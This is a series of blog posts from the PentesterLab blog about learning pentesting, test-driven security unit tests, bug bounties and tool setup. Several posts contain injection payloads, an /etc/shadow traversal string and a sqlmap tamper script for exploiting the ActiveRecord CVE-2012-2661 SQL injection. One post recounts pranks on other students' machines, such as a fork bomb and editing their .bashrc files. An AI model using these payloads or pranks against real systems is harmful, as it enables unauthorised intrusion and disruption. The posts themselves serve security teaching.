Sunday, 30 December 2012

How to become a pentester :)

PentesterLab just released Bootcamp, a learning path to get into pentesting... Follow each week and you will get there and learn security the right way ;)

Friday, 28 December 2012

Happy first year PentesterLab...

It has been a year since I started PentesterLab... such an amazing year ;)

Since the first day, a lot have changed, the biggest change was probably to put the exercises for free instead of $12-$20. At first, I thought something like Peepcode will work for PentesterLab, but I realised that I was more interested by sharing stuff and that there were other way to do money and share the content for free. I wrote about this in a previous blog post...

I have also learn a lot in the last year:
  • to know my enemies: distraction (started other project like PNTSTR or some crazy coding) and procrastination (, Facebook, Twitter...). Losing focus (creating side projects) makes you waste a lot of time and people don't really understand were you are going... Having one clear goal is the way to make sure you are going to achieve it and send a better message to potential users/clients.
  • to improve the way I create exercise. I used to write the PDF and build the ISO in the same time... Such a waste of time! I was spending my time telling myself: "I will come back to write that part of the course once I have the correct value from the ISO", it was just a way to postpone stuff and not getting things done. Now, I create the ISO, once it works, I write the course. That way, I also avoid last minute changes and I'm way more effective.
  • to improve the way I blog: instead of trying to write something perfect, I start by a brain dump and improve it over time. Some blog posts stayed few months before being published like How not to get a good pentest
  • to avoid remembering stuff. I put everything in a todo list and come back to it later, even blog posts, crazy coding ideas, ... I use things on my phone since I always have my phone on me it's perfect. Remembering stuff is bad: you will either forget or keep thinking about it, both ways are bad :/ Write things down as soon as you think of them!

For the exercises, I will try to publish a new free exercise every month... so keep in touch, follow @PentesterLab on twitter, register to the mailing-list, or like PentesterLab on Facebook or on Google+, to get the last exercises :)

Thanks to everyone who helped me during this first year, who purchased exercices and commercial licenses, who sent email saying thanks, you are the people who makes Pentesterlab's growth. Thanks to everyone who review the courses and send me feedbacks (typo, grammar, diff file). In 2013, we are going to organise few trainings around the world mostly during security conferences but also in-house training (if you are interested shoot me an email: louis_*at* :)

Happy first year PentesterLab ;)

Saturday, 22 December 2012

Test-Driven Security

For many years, security coding has been a problem in many companies. So far, the following solutions have been implemented with more or less success:

  • teach people a list of dangerous functions and how to avoid them or use them securely. This method mostly comes from the old "don't use strcpy" mentality.
  • teach people what type of vulnerabilities exist and how to prevent them. We can call that the "OWASP top10" method. 
  • Only hire the best developers. We can call that the "successful startup" model. However there is only a limited number of best developers and everyone does mistakes.

With more and more frameworks and all the protection in place (automatic data mapping, XSS protection, automatic CSRF protection). The traditional issues are less and less relevant (if you already have a SDLC and care about security, this obviously does not apply to people getting a PHP website done by a trainee in 2 weeks). Most of the issues are now based on business logic and corner cases.

Test-Driven Security is another really simple method: instead of asking developers to write secure code,  this method just explain how to test if their code is secure and tell them to test the security of their code like they will do for any other functions. 

The problem with tests is that most people only do "positive testing", something works ("WINNING") or does not. Test-Driven Security is based on "negative testing" and make sure that things cannot happen: testing that things do not work.

For example, if you want to test authentication, you should add the following test cases:
 - Can I log in without password: it sounds silly but how many of you are 100% sure that your application is not vulnerable to this (especially if you have a LDAP backend, try to remove the password parameter from your login request) ?
 - Can I log in with the wrong password?
 - Can I log in with only the first 8 letters of my password ?
 - ...

You can do the same thing for authorisation: 
 - Can I access someone else personal information
 - Can I edit someone else personal information 
 - Can I reset someone else password
 - ...

Another point is testing for "Breaking the syntax", that I already covered in a previous post.

The good thing about adding all these checks inside your tests is that these checks will be performed as often as you run your tests... and you will be 100% sure that these security questions are covered, and that no regression happens between two releases of your application.

I did a talk on this few months ago at OWASP Melbourne, and most of the questions were around the return of investment of this method. To be honest, that's a really good question and I have no metrics on this. But I think that it's not too much work to "teach" people how to do that and get 100 test cases written to cover the basics, especially if you compare that to the price of a pentest...

Wednesday, 5 December 2012

How not to get a good pentest?

As an introduction, you should probably read "Maker's schedule, Manager's schedule" (don't be afraid by the startup ad it's a really good read) for more inside on how pentesters (makers) (should) work.

I put together a list of things that will ensure you don't get a good pentest:
  • Make sure a WAF and/or IDS are used and don't put the testers in a white-list.
  • Organise a lot of meetings, the rule is "the more meetings... the better".
  • Make sure you don't get a technical person involved during the scoping of the test/application.
  • Make sure you put multiple layers of people between the testers and the developers/sysadmins, if you don't they may be able to have all information in time and move forward quickly... It works for the remediation part as well.
  • Ask for information (full write-up) on discovered issues as soon as they appear and make sure you fix them as soon as possible. This way testers won't find more in-depth issues in your system and the down time due to fixes will ensure they can't work.
  • Don't provide access to source code if needed. EVER. 
  • Make sure some performance tests are performed during the security testing... nothing like a really slow environment when you're doing security testing.
  • Make sure there is no sample of data provided and that the databases are as empty as possible
  • Ask for daily updates, or even better twice a day... (see maker's schedule above to understand this)
  • Make sure you don't provide administrator/root access during host review. 
  • Don't provide internet access to testers... They may need to search for something or download a tool.
  • Make sure the first day is spent waiting for credentials or waiting for the environment to be setup.
  • Make sure test and production environments are as different as possible.
  • Make sure the environment is constantly changing, new features added, the application can't look the same on the first day and the last day.
Any other ideas?

Sunday, 25 November 2012

On Bug Bounties...

I think bug bounty programs are awesome, as much as I can understand they are not for everyone (I think they required a bit of agility), they are really helpful and have a lot of pro if you use them smartly...

First, as someone who provides learning material, I think a bug bounty can be your first official pentest:

  • You don't need to pass a job interview.
  • You don't need to sell the gig to a company. 
  • You just need to participate and be respectful of the platform.

Furthermore, if you end up being listed in the some bug bounty hall of fame, landing a security job will be far easier...

For a company running a bug bounty program, I think you need to be careful and probably avoid to give access to your production (to avoid data leak) and get a pre-prod environment (AWS EC2?) with anonymised data dedicated to the bug bounty (unless your name is Facebook or Google). But other from that, I see that as a less-expensive/modern alternative to hiring a pentest company. And you may end up with a lot of testing from a lot of skilled people pretty fast and for a reasonable price.

If you're on twitter, you probably heard of bugcrowd, a new company who offers to manage bounty program for other companies. I think it's a great idea and I bet a lot of people are already looking into this. I hope they will create a "Private Bounty" program where only identified people (identity check) can participate, it will probably solve the problem of a lot of people afraid to run a bounty program because everyone will be allowed to attack all their systems (which is not true since most program have scope)...

Saturday, 24 November 2012

Links on code review (1 of many)

Soonish, I will be doing a lot more code reviews...

I put together some links/books and thought I should share them with my readers:

I will do more posts when I found worthy things ;) If you have good links or books you recommend, leave them in comments :)

I'm also thinking of creating some exercises on (web or/and mobile) code review for PentesterLab

Friday, 16 November 2012

Accidental security improvements

I'm fascinated by things that improve security even if they were not initially designed for this purpose (as opposed to some appliances who are designed to improve security and don't... ).

My first (and favorite example) is home ADSL router. Back in the days, people (in France at least) used to have USB modem, and their Windows was fully available on Internet with a nice public IP address, and so were their Windows shares... But people started to have more than one computer at home and move to "Ethernet router" (this was actually their name as opposed to USB router) with NAT and that prevented unpatched Windows systems with shares to be available on Internet... Just a simple modification changed a lot, specially if you think about client-side attacks.

Another example is web framework (like Ruby on Rails or Spring), they have been created to increase developers' productivity but they became a great asset for security (automatic XSS and CSRF protection, automatic object to database mapping, ...). If you're a pentester, you can probably see the "before framework" and "after framework" and see how many problems are generally fixed automatically now (hopefully, people still do mistakes).

Do you have more examples?

Wednesday, 14 November 2012

Being accurate...

I'm trying to put together a list of posts for new pentesters, I think that may be helpful to some people. If you are new to pentesting, you probably want to read the following posts as well:

One of the key issue new pentesters have is accuracy, it mostly annoys me when I'm working remotely with people and can only discuss through IRC.

One of the most common example is: "I can't access the web application".

I can't access means nothing...
  • Do you have DNS resolution for the host?
  • Is the TCP port accessible (hping FTW)?
  • Is the web server available but you have the wrong vhost?
  • Is the web server available but the application errors?

In the same way: "I can't log in".

It does not mean anything:
  • Can you access the application (see above)?
  • Can you access the application and can't log in because the credentials are wrong?
  • Can you access the application and can't log in because the application crashes?
  • Do you have a message saying why?

A key skill to work (remotely) on the same pentest is accuracy in the information you provide, so as a new pentester being accurate is easy and will make working with you easier ;)

Friday, 26 October 2012

On twitter...

I have mainly been using twitter to promote PentesterLab, and the more I think about it the more I think twitter kind of sucks to promote a brand (at least for PentesterLab :/).

Most of my content is divided into 2 categories:

  • blog posts;
  • exercises.

I don't really mind if someone misses one of my blog post, but releasing an exercise is kind of a big deal for me and a good way to get more attention on PentesterLab.

If you compare twitter to other media (mainly Facebook and a mailing lists), twitter gives you an easy way to promote things (just need to type 140 catchy messages), but don't really give you enough room for good content and smart ideas (not that I'm planning on having some). And a lot of people have already been on twitter for a long time and don't explore anymore.

As an example, when I released details on how to exploit the latest SQL injection in ActiveRecord, I had a decent amount of retweets, but someone who just tweeted: "LOL, RAILS" and linked the advisory got more retweets...

Twitter sucks for getting attention once people are already following you as well. When, for example, I tweet a new exercise, it's likely that it gets lost in the amount of content generated by other twitter users. In contrast to this, having a mailing list or a Facebook page gives you a lot more chance to get people's attention since they get notified when something new happens.

Another thing I was kind of upset at the beginning were people doing "RT: my message" (quoted retweet), I couldn't understand why people were doing that and it was hard to track the number of retweets. These people actually helped a lot since if people use the traditional retweet, your tweet won't show up in people that are already following you on twitter and you will be less likely to get their attention.

That why I re-enabled the mailing-list on PentesterLab, and hope you will start liking Pentesterlab on Facebook ;)

I haven't played around much with Google+, I just post there from time to time and don't really have any opinion on it so far.

Anyway, don't forget to follow @PentesterLab on twitter and to check our free exercises ;)

Finally, if you're interested by twitter and want to use it to search for information on vulnerabilities, you should definitely check Talkback mines twitter for over 20,000 accounts and attempts to filter out noise and returns trending it security research and news.

Monday, 24 September 2012

Why the free exercises?

A lot of people are asking me why I moved from paid to free exercises... Following is the beginning of an answer ;)

First for people who don't know, the exercises used to be sold between $12 to $20. I was doing few sales (enough to pay for hosting, not for the work put into building each exercise). I was at that point when I had to spend more and more time working on marketing and thinking of protecting the content (Watermarking, ...)... Bottom line is, I was focusing on things I don't enjoy doing instead of spending time on things I like (building awesome exercises).

I have been thinking of putting everything for free for a while, since my main goal was to get a lot of people to use my exercises, it wasn't to do big $$.

So I recently moved everything to free and I haven't regret it since:

  • I'm more focused on what I like doing (building cool exercises);
  • I get great feedbacks almost every day (emails, comments on reddit, twitter, ...);
  • I'm more motivated and have more liberty;
  • I made some good contacts (book publisher, technical people,...);
  • The website visits have increased of more than 5000 % according to Google Analytics;
  • I had scaling problems and start using Amazon S3;
  • ...

However, the goal of PentesterLab is still to do a bit of money (at least to pay for hosting and some beers) and I'm slowly looking at ways to do that:

  • the exercises available can only be used for non-commercial usage, few people already contacted me to use them to run training with a commercial licence.
  • sponsoring/advertisement/affiliate
  • building a job board
  • ...
I'm still undecided and I have plenty of time to work out the best solution(s). At the moment, I'm just enjoying all the great feedbacks and working on the next exercise.

Finally, thanks to everyone who bought the exercises before they became free, you kept me working on them and thanks to you everyone can now enjoy and learn :)

Saturday, 22 September 2012

Breaking the syntax

I recently gave a training at OWASP NZ on test-driven security. One of the key concept I introduced was "Breaking the syntax".

My idea is that way too many people think about vulnerability as a magic pattern:

  • ' or 1=1
  • <script>alert(1);</script>
  • `id`
  • ../../../../../

And that's wrong for many reasons:

  • a pattern can be filtered;
  • a pattern only works in some cases
  • ... it's just wrong.

A better solution, is to think about injection based attacks as breaking the syntax and not just sending a payload and see how things go.

Let's take an example:

<a href="/[USER CONTROLLED]" >test</a>

If you are able to inject a double quote, you can break the syntax:

<a href="/broken " syntax" >test</a>

The HTML syntax is no longer valid, after that, you can find a payload to exploit this issue if needed.

The same things apply to this example:

<a href=/[USER CONTROLLED] >test</a>

However here, you don't even need to inject a quote, a double quote, or > and <, you just need to be able to put a space to break the syntax of the HTML page:

<a href=/broken syntax>test</a>

You may not be able to exploit the bug based on other components, but if you're a developer and want to ensure the security of your application you just need to understand this to test for injection based attacks.

And "breaking the syntax" applies to SQL injections, code execution, commands execution, ...

Friday, 31 August 2012

Fun at UNI

When I was at uni one of my favorite game was to mess around with computers...

This is a list of my favorite games:

  • "the toaster": during a course, ssh to all the systems and run eject in the same time on all of them. 
  • "computers are slow": instead of running Matlab on my system (which is really resources consuming), I always connected to another system to run it and keep some CPU on mine.
  • "fork bomb": a classic
  • ".bashrc": as soon as someone turned his head, chmod 777 his bashrc and modify it later: 
    • add alias (ls=sl, cd='echo "NO"'): a good way to learn how to use \command to avoid aliases
    • add exit
    • put some ASCII ART love and unicorns
  • ...

What about you? what was your favorite game?

Monday, 13 August 2012

The 10 client-sides you're vulnerable to...

This was a test...

I can't resist this kind of titles and always go and read the x things...

  • the 10 linux distributions for pentest;
  • the 5 secrets of secure development;
  • the 6 ways to improve your skills
  • ...
I was just wondering how many people were like me...

Tuesday, 7 August 2012

Will QA change web penetration testing?

First, let's go back a little and think about the 2 main limitations of web scanners:
  • coverage: it's really hard to write a spider that will cover a full website, you need to write a tool that will understand a website and know exactly what to do and what data to submit (email when an email address is expected, name when an name is expected...)
  • scanner quality: it's really hard to write a web scanner that will avoid false positive and won't provide any false negative. It's particularly hard on production systems where error messages are/should be turned off, you often need to apply some crazy logic to find if a bug is there. 
Based on that, we can see that QA has it easy...
  • a set of tests providing all the requests for all the stories in the application. Basically,serious (agile) development teams test each functionality with a correct data set. QA can use this data set to replay request and fuzz the application and compare a "working" response to a "fuzzed" response... web scanners don't have that by default.
  • errors messages are turned on. If you manage to find suspicious cases you will get error messages with all the details... You just need to grep... no crazy logic needed.
Based on that, it's way easier to write a "security scanner" dedicated to QA than a "security scanner" for normal websites. You can even do things that most web scanners won't try since you will have error messages... For example, you can test for directory traversal using ../../../../../etc/shadow, that way you are likely to get error messages with "Access denied" and you know for sure that there is something wrong. Same for SQL injections, you just need to break the syntax and look for error messages instead of trying to apply some insane logic detection.

I'm not saying that web penetration testing will be replaced by QA or become a sub-part of it... but there is a chance that some companies split their budget between security during QA and penetration testing.

If you talk about it with people selling Web Scanner, they will tell you that their tools can memorize "stories" in the application, however, I don't see many people doing it and why should they re-do something that testers already did?

If you're interested by QA and security, make sure you check out my training on Test-Driven Security at OWASP New-Zealand :

Thursday, 19 July 2012

My pentesting setup

I think you can learn a lot by sharing how you work and why you work that way... so I will start and explain some of the key points I can think of.

First, the operating system, I'm using Linux because it's more flexible and easier to drive. I can pretty much do anything I want without having to really think about it. I can control most things without having to use the mouse (wasted time) or search (wasted time again). Since pentests are short engagements, the quicker you're, the more you can do. For me, working on OS X or Windows is just too much time wasted (I do understand that people prefers it because they are used to it). Furthermore, I cannot work without at least 8 to 10 virtual desktops.

Regarding windows manager, I tried a lot of them and I'm now using wmii, it's not better than any other windows manager, it's just better for me. On some windows manager, when you want to access a given application, you need to ALT-TAB until you find the right one, and the applications' order always changes, that's just a waste for time again. On wmii, or other similar windows manager, you can just use vi shortcuts to move between Windows and use one virtual desktop for each application (you can do the same on other wm like gnome or KDE but you need to set it up).

Personally, I setup my virtual desktops in the following way:
  • 1: "administration shells", IRC and taking notes
  • 2: Firefox (my testing browser)
  • 3: Burp Suite
  • 4: Chromium (my "working" browser)
  • 5-9: different stuff: rdesktop, code review, eclipse, emulators... depends on the engagement
  • 0: Music

I used Firefox for testing because it's more flexible and has better error messages than Chrome. I used Chrome for work because I like it better (and it feels safest).

For taking notes, I use vim with the following .vimrc:

set foldmethod=marker
set foldmarker={{,}}
set expandtab
set ignorecase
set smartcase
set paste
syntax enable
set ts=2

My notes files looks like:

{{ Network


{{ Credentials


{{ Issues

  [ ] 



  [ ]



It work perfectly with vim;s scaffolding. This notes file allows me to keep track of any information during the testing and keep all the findings together. During the testing, I modify the findings from:
  • [ ]: new finding unreported to client;
  • [-]: finding reported to client;
  • [X]: finding reported to client and written in the report.

Another thing I want to share is how I organise my tests. Every time, you're doing a code review or pentest, you see yourself writing some really simple code to test something. For this, I have a code repository with one repository per language:~/code/ruby, ~/code/php, ... That way, I have working examples of common vulnerabilities and secure methods for each language and I can have a quick look every time I need to.

Last thing I keep is a method folder, it's a basic write-up of current technics and methodologies:
  • script to setup a gateway in few seconds,
  • script to build SSL certificate and setup socat to MITM SSL,
  • review scripts for a lot of different systems,
  • how to audit different systems, how to review applications in a given languages
  • webshells,
  • ...

That's basically it, what tips do you have to share now?

Saturday, 14 July 2012

How to get your first pentester job...

Often, people ask me: "how to get a first pentester job". As for most jobs, companies want people who can bring something quickly (ie: being billable) and you need a first experience to get the job, but you need a first job to get the experience... Classic chicken or the egg dilemma.

First, you don't need experience as a pentester to become a pentester, you just need security exposure and to be passionated.

I think the best way to get in is to focus on Web application testing. It's where most of the work is these days and the entry cost (being able to find your first bug) is probably the lowest.

Learn, try to understand how computers work. How your browser sends requests. Use a proxy to intercept requests and responses. Read about DNS and understand how it works. Learn SSL.  Write simple web applications in PHP, .Net, Ruby on Rails to get a feeling of what a developer feels and what mistakes he can do. There are plenty of security tutorial and vulnerable application to learn from... And I heard PentesterLab's exercises are pretty good ;). Read the security news, what's happening and try to dig deeper for some subject you find interesting... I think one of the thing interviewers like (or at least I like) is people who dig deeper some subjects and get a better understanding of the problems. Pentesting is about getting further that the average persone. You can also learn from our pntstr bot, that asks you a security question every week. 

Play CTFs, it's a really good way to learn something new and play with/against others. Furthermore, you may meet people that are already working as pentester... and they will be more than happy to bring you in if they like your skills: the "finder's fee" effect (as a side note, I never understood why companies give more money to recruiters than to their employees for this even if recruiters success rate are way lower...)

Find vulnerabilities, and be smart about it. If you find a bug, there are 4 ways to handle it:

  • "OMG, vulnerabilities burn my hands, I need to release it now before someone else finds it". Basically, you found a bug and directly email mailing-list like full-disclosure. If it's a lame bug (likely), it's probably unlikely to get you a pentester job and will be in Internet archives for ever :/
  • "Let's email the project", pretty good, you may be linked in the advisory and get some street creds out of it.
  • "Let's write a patch to fix the vulnerability and email the project", awesome for publicity, you are really likely to be listed in the advisory and/or changelog. And future employers can see that you can find bugs and patch them correctly.
  • "Seat on it"... It's a pretty good way to handle bugs, but you currently need people to see your skills,  it's probably not the best move right now.
Most resumes employers will see are people with a lot of certifications, not much skills and shitty advisories (sometimes). If you can find some bugs and help the project to fix them, you are really likely to get past the interview:
  • You will be able to show that you can find bugs ("ICANFINDBUGS").
  • You will be able to show that you can fix each bugs ("ICANFIXBUGS") and how you dealt with developers. This is basically what pentesting is about: finding bugs, explain them to non-security people and help them patching them. You already understand the job ;)
  • You will be able to show that you're passionated, since you're already looking for bugs without working in the field.
Now, what projects to start with... to be honest, you don't want to go with Wordpress/phpmyadmin or big projects already reviewed (in theory) by a lot of people. Go for smaller and active projects (with a version number greater than 0.9) and start reviewing them. I will be surprised if you can't find any bugs. 

Keep it simple, don't put too many keywords in your resume. Avoid old security softwares. Don't put that you're an expert in X. If I see a resume with "expert in X", I will ask questions that I expect an expert can answer; if I read that you're "confident in X", the questions will probably be easier and my expectation lower... Don't lie in your resume... just put the truth, guess what... Interviewers have rather being positively surprised. You can read my previous post on what to avoid in a pentester resume.

Ask questions, you didn't get the job after an interview. Ask questions (not at the end of the interview... when you get the answer). Ask what you can improve? what did the interviewer expected? do they have anything/links/resources you can learn from? If they see that you want to improve your skills, they are likely to accept another interview in few months and you can impress them with what you learnt in the meantime.

Monday, 2 July 2012

Feedback from the first question....

In a previous blog post, I wrote about the pntstr's bot that asks a question every week.

Last Wednesday, I sent the first question and aside from a small programming mistakes from me, everyone got the right answer.

First my mistake, I wrote a working version of the question page, then I started working on test cases. And by adding tests, I changed something and broke the application (my test case was sending an array instead of a string). When I tried it before sending the question I only tried one case (incorrect answer) and didn't check the "correct answer" case. Anyway... it's fixed now.

For the question... I'm still undecided on whether or not I should keep it. Even if I strongly think that pntstr's followers are way better than the average interviewee, a 100% success rate is really high... Maybe adding a success rate for each question in the "interview builder" will be good... Or maybe just some rewording?

The question was:

A webmaster wants to avoid paying for a SSL certificate. He wants to use JavaScript to encrypt the credentials before sending them to the server. Is it a safe solution?

And the expected answer was No. And this is why (information sent after you answered):

Even if JavaScript will ensure encryption of the credentials, users can't be sure that they are talking to the legitimate server, and anyone doing a man-in-the-middle attack can modify the page served to remove the encryption mechanism.

I will send the next question later during the week ;) In the meantime, you can start following pntstr if you want to get it :)

Thursday, 21 June 2012

test test test...

As I'm working on PNTSTR,I get more and more afraid of mistakes... Mistakes happen and I don't want a bug to break the production and especially if I got a bug I want to only fix it once... That's why I'm using unit tests.

Furthermore, I'm using unit tests to ensure the security of my application, I write a good part of my security checks as test cases:

For example, can a user access a given page without being logged in?

class TestConsole < Test::Unit::TestCase
  include Rack::Test::Methods

  def app

  def assert_redirect_to_login
    assert last_response.header["Location"] =~ /\/login$/
    assert last_response.status == 302

  def test_redirect_interviewees_without_login
    get "/interviewees"

In the same way, I use it to check that once I'm logged in, I can get to the page:

  def test_access_interviewees_with_login
    login("", "secret")
    get "/interviewees"
    assert last_response.status == 200

It can be used to ensure I cannot log in with a wrong password, a null password (remember LDAP anonymous bind??) or a blank password:

  def test_cannot_login_with_blank_password
    get "/login"
    login("", "")
  def test_cannot_login_with_nil_password
    # typical LDAP bug
    get "/login"
    post("/login", {:email => ""} )
  def test_cannot_login_with_wrong_password
    get "/login"
    login("", "wrong")

You can even use it to check for cross authorisation checks, here I check if i can access someone else (the first user) interviewee:

  def test_can_access_someone_else_interviewee
    # user first is not me
    id = User.first.interviewees[0].id.to_s
    login("", "secret")
    get "/interviewees/#{id}"

Or for SQL injection (silly example above, but still make sure it's not here):

  def test_cant_sqli_login
    # user first is not me
    login("' or 1=1 -- ", "")
or Cross Site Scripting (simple but it covers the basics):

  def test_cant_xss_login
   ["'", "\"", "<", ">" ].each do |c|
    login("{c}", "")
    assert last_response.body !~ /#{""+c}/  

If everyone was doing that, I think the security of web applications will be far better... Anyone else doing something similar?

Tuesday, 19 June 2012

How I solved 2 problems...

TL;DR: follow @pntstr for an interview question per week

I have been working on a new project: PNTSTR, if you're trying to hire people in the security industry, you probably already felt the pain of endless interview with people you know you won't hire pretty quick... I just wanted to avoid this by creating an easy first filter. Basically, it's just a simple web application to ask questions to interviewees and score them...

*BUT*, I had/have 2 problems:
  • Getting publicity is hard, it's a niche solution for a niche market, so you need a lot of people to get to the site before getting clients.
  • It's really hard to have good questions, you need questions that are not too easy and not too hard (ie: 100% or 0% success rate questions are useless...)

How to fix this? Web 2.0 to the rescue !!!

My idea to solve both of this problem is to use twitter, and create a twitter bot. This idea comes from inspire9's twitter account: @inspire9. When you start following them, they send you a direct message:

When I saw that, I thought it was pretty cool and I wanted the same thing (but didn't find a reason for it until now).

As a curious person, I love to learn new thing and I think a lot of people in this industry are the same (I hope at least)... So I decided to put together a weekly question and provide the answer with explanation. 

How it works... If you start following pntstr on twitter, pntstr will start following you back (good way to get a new follower...) and send you a direct message with a subscription link. If you subscribe, you will get a weekly question by direct message. You can then click the link in the direct message to see the question, once you submit your answer, you will get the answer we were after and some explanations.

So to try it just start following pntstr ;)

But what happens if people keep all the answer and build a script to answer automatically to the website? 
To be honest, someone doing that deserves an interview ;) Furthermore, interviewers are able to put their own questions in the site... PNTSTR's questions are just here to provide something to begin with.

But what if people cheat?
Pentesting is cheating... someone doing that deserves an interview ;)

Do you keep stats per follower?
No. Just stats per question.

Monday, 18 June 2012

CVE-2012-2661 exploitation with sqlmap

First to understand this bug exploitation, you should probably read my first article CVE-2012-2661: exploitation write-up

After some work, I managed to get the ActiveRecord bug to work with sqlmap...

First some notes on sqlmap:

  • I'm pretty disappointed by how the tamper scripts works, it will be nicer to have access to the full HTTP request instead of just the payload... maybe a patch to submit. If I had full access to the HTTP request, I'd have been able to do a full rewrite from id=1 to the right payload... anyway 
  • It's really time consuming to do time based exploitation since sqlmap doesn't try to go under 1 second for the sleep()...

So first some options I'm using:
  • --tamper tamper/ : My tampering script, see below
  • --dbms=Mysql : The back-end is Mysql, no time wasted on other checks
  • --technique=T : Time based exploitation only,  no time wasted on other checks
  • --batch : I don't want to answer questions... 
  • --proxy= : Always use a proxy for debugging purpose
  • --banner: I just want to dump the version

The tampering script is pretty simple to write:
  • You need to make sure the request is unique: I'm using the current time, random isn't unique, time is ;)
  • You need to take care of the encoding when using tamper script

And the source code of the tamper script is:
% cat tamper/
#!/usr/bin/env python

Copyright (c) 2012 pentesterlab (

from lib.core.enums import PRIORITY
from datetime import datetime
import urllib 

__priority__ = PRIORITY.LOW

def tamper(payload):
    retVal = payload
    # that's disgusting, encoding =,+,>
    retVal = retVal.replace("=","%3d")
    retVal = retVal.replace("+","%2b")
    retVal = retVal.replace(">","%3e")
    # make the request unique
    return retVal+"/*"+str("*/"

Now, you just need to find the correct URL... and that's the hard part. After a lot of testing, the following URL works: 


Now you're able to test and exploit this bug using sqlmap...

If you want to have a real understanding of the vulnerability and not just ./hack ... You should check out PentesterLab's free exercise on this bug:  CVE-2012-2661: ActiveRecord SQL injection

Friday, 15 June 2012

Spice market?

When I wrote "Why PentesterLab ?", I forgot to talk about the frontpage of each exercise...

Aside from the a "a la O'reilly", I used the spices and herbs because I want my exercises to be like recipes.

I didn't want to put together training like "this is 100 different vulnerable pages, now go nuts on them!!". It's just not how I see things.

I want people to learn penetration testing like they can learn how to cook:
  You use technics together and follow instructions to get something amazing. 
  Then you can apply the new technics you learnt for other dishes... 

Wednesday, 13 June 2012

Safe from XSS?

For last year Ruxcon's CTF (even if I ended up not using it) and for PentesterLab's training, I wanted to build something around the exploitation of Cross Site Scripting... I just wanted a typical client to browse a website automatically and get XSS'ed... But it's not as easy as it looks since pop-ups will block the execution flow.

I first thought of something around Browser automation with Watir or Selenium, unfortunately, if an alert is triggered your browser is blocked and you need to manually click the pop-up. You can find your way around by killing the browser but if you have 50 people trying to XSS your victim, you won't run all their payloads... That just doesn't work and is not reliable enough :/

You can probably write a small JavaScript interpreter but it's a lot of work and you won't get something as good as a browser...

You can disable alert, prompt and confirm in the page served, but the CTF players will find a way around this...

The good solution came from Surf from Surf is a browser composed of only 1000 lines of C. It's really easy to modify it and to make it do whatever you want. If you have some time, you should probably read its source code, it will give you a good inside on how Webkit works.

To avoid the pop-ups created by the browser, we will need to handle the following events:
  • script-alert
  • script-confirm
  • script-prompt

To do that, we can create a dummy function scriptalert:
static gboolean * scriptalert (WebKitWebView *v, WebKitWebFrame *f, Client *c){
  printf("%s\n", c);
  return TRUE;

And connect the events to this function:
  g_signal_connect(G_OBJECT(c->view), "script-alert", G_CALLBACK(scriptalert), c);
  g_signal_connect(G_OBJECT(c->view), "script-confirm", G_CALLBACK(scriptalert), c);
  g_signal_connect(G_OBJECT(c->view), "script-prompt", G_CALLBACK(scriptalert), c);

And that's it, we now have a browser which won't pop-up a new window and can be used as a XSS victim for CTFs or cool exercises...

The nice thing is that the handling of cookies can be easily modify by patching the newrequest or the setcookie functions...

As a side note, it's really easy to have an automatic logging of all requests and responses by adding the following code to the setup function:

  SoupLogger *logger;  
  logger = soup_logger_new(static_cast<SoupLoggerLogLevel>(SOUP_LOGGER_LOG_BODY),-1);


Sunday, 10 June 2012


Ok I finally spent 10 minutes and wrote twittdiff: a tool to know who started following you and mostly who stopped following you (I'm super curious about this one).

You just need to install the twitter library: gem install twitter and run it

$ twittdiff.rb pentesterlab

The code is below or can be found on github:

require 'twitter'
unless ARGV[0]
  puts "Needs args :p"
  puts "./twittdiff username"

TDHOME = File.join(ENV['HOME'],".twitdiff")
unless File.exists?(TDHOME)
followers = []
cursor = "-1"

while cursor != 0 do
  fl = Twitter.follower_ids(ARGV[0],{"cursor"=>cursor})
  cursor = fl.next_cursor
  followers += fl.ids

if File.exists?(File.join(TDHOME, ARGV[0]))
  prev = File.readlines(File.join(TDHOME, ARGV[0])).map!{|x| x.chomp!.to_i}
  new = (followers - prev)
  if new.empty?
    puts "No new followers"
    puts "New followers:"
    new.each do |cool|
      puts "\t - #{Twitter.user(cool).name}"
  diff = (prev-followers)
  if diff.empty?
    puts "No one stop following you"
    puts "Not following you anymore:"
    diff.each do |sucker|
      puts "\t - #{Twitter.user(sucker).name}"
  puts "First time twittdiff is ran, come back later"
end, ARGV[0]),'w').write(followers.join("\n")+"\n")

Friday, 8 June 2012

So you want free exercises...

I spent a long time thinking of my last exercise CVE-2012-2661 and especially if I should give it away for free or do a paid version... Both have pros and cons and it has been really hard to decide until I found the idea.

And I decided for a paid version... as a hipster friend will say "You sold out mate..."

I decided for a paid version because it's a lot of work to get a working ISO (especially to get a stable Passenger's stack on Debian using their packages) and to create the course.


If you pay me or one of the people listed in the "PentesterLab's friends" list (good) beer, you get an exercise for free... And I will make sure to have one of these friends at most conferences. I think it's fair to offer a beer to someone who helps you. But since I can't be everywhere and drink all these beers (or can I??), I will share them with my friends. And for the buyer, it's a good way to meet and talk to nice and smart people working in security.

I'm still working on the details and will probably create small cards with token for these "Pentesterlab's friends" in the meantime just give them your email/business card with the beer and we will sort it.

If you're currently at the SSTIC in France, you can offer a beer to Renaud F. and Nicolas C. to get a free exercise :)

If you're going to Defcon and Blackhat, you can offer a beer (or probably a bourbon&coke) to Silvio to get a free exercise :)

If you're organizing/going to a conference, let me know, I will probably be able to find someone I know or someone who published good research and is willing to drink free beers ;)

NB: It's not retroactive :p

Tuesday, 5 June 2012

Weaponizing your pentest team... scaling :)

Unfortunately, I didn't get accepted at Auscert 2012. However, that is not a reason to keep all of my ramblings for myself...again :/

The idea of the talk was around improving/building up a pentest team... and to address some of today's pentest teams issues. It's one thing to complain, it's another thing to find solution... let's try to do both ;)

Disclaimer: since most of today's pentesting companies are doing a lot of web based test... this post is really web focused.

I don't want to do one huge post to avoid the "TL;DR" effect... so today I will be talking about scalability

One problem with how pentesting is currently done is that it doesn't scale, it can basically be resumed by:
  • one pentest - 2 testers
  • two pentests - 4 testers
  • three pentests - 6 testers
  • ... 
Hopefully some of the testing can be automated: 
  • network fingerprinting
  • web app fingerprinting
I think a good 70% of this can be automated. One of the first idea is to run automatically all the open source tools on the target(s) and put the results together. It's pretty easy to do and to script but I didn't see much people doing it.

I have been working on a POC based on eventmachine, rabbitMQ and sinatra. The problem is that it needs to be really tie to your reporting system (and I still don't know how to write the perfect reporting tools).

Another thing with reporting, is that so much time is wasted on copy/pasting thing... for example, a lot of pentesting companies have a word template and copy/paste issues from previous reports and after do all changes (even if old pentester will tell you to never do that to avoid "client A" name in "client B"'s report). This sucks big time as said before.

I think that most people writing (web) pentesting tools focus on the scanning (the fun) part of the job and don't address what a (web) pentest job is:
  • scoping 
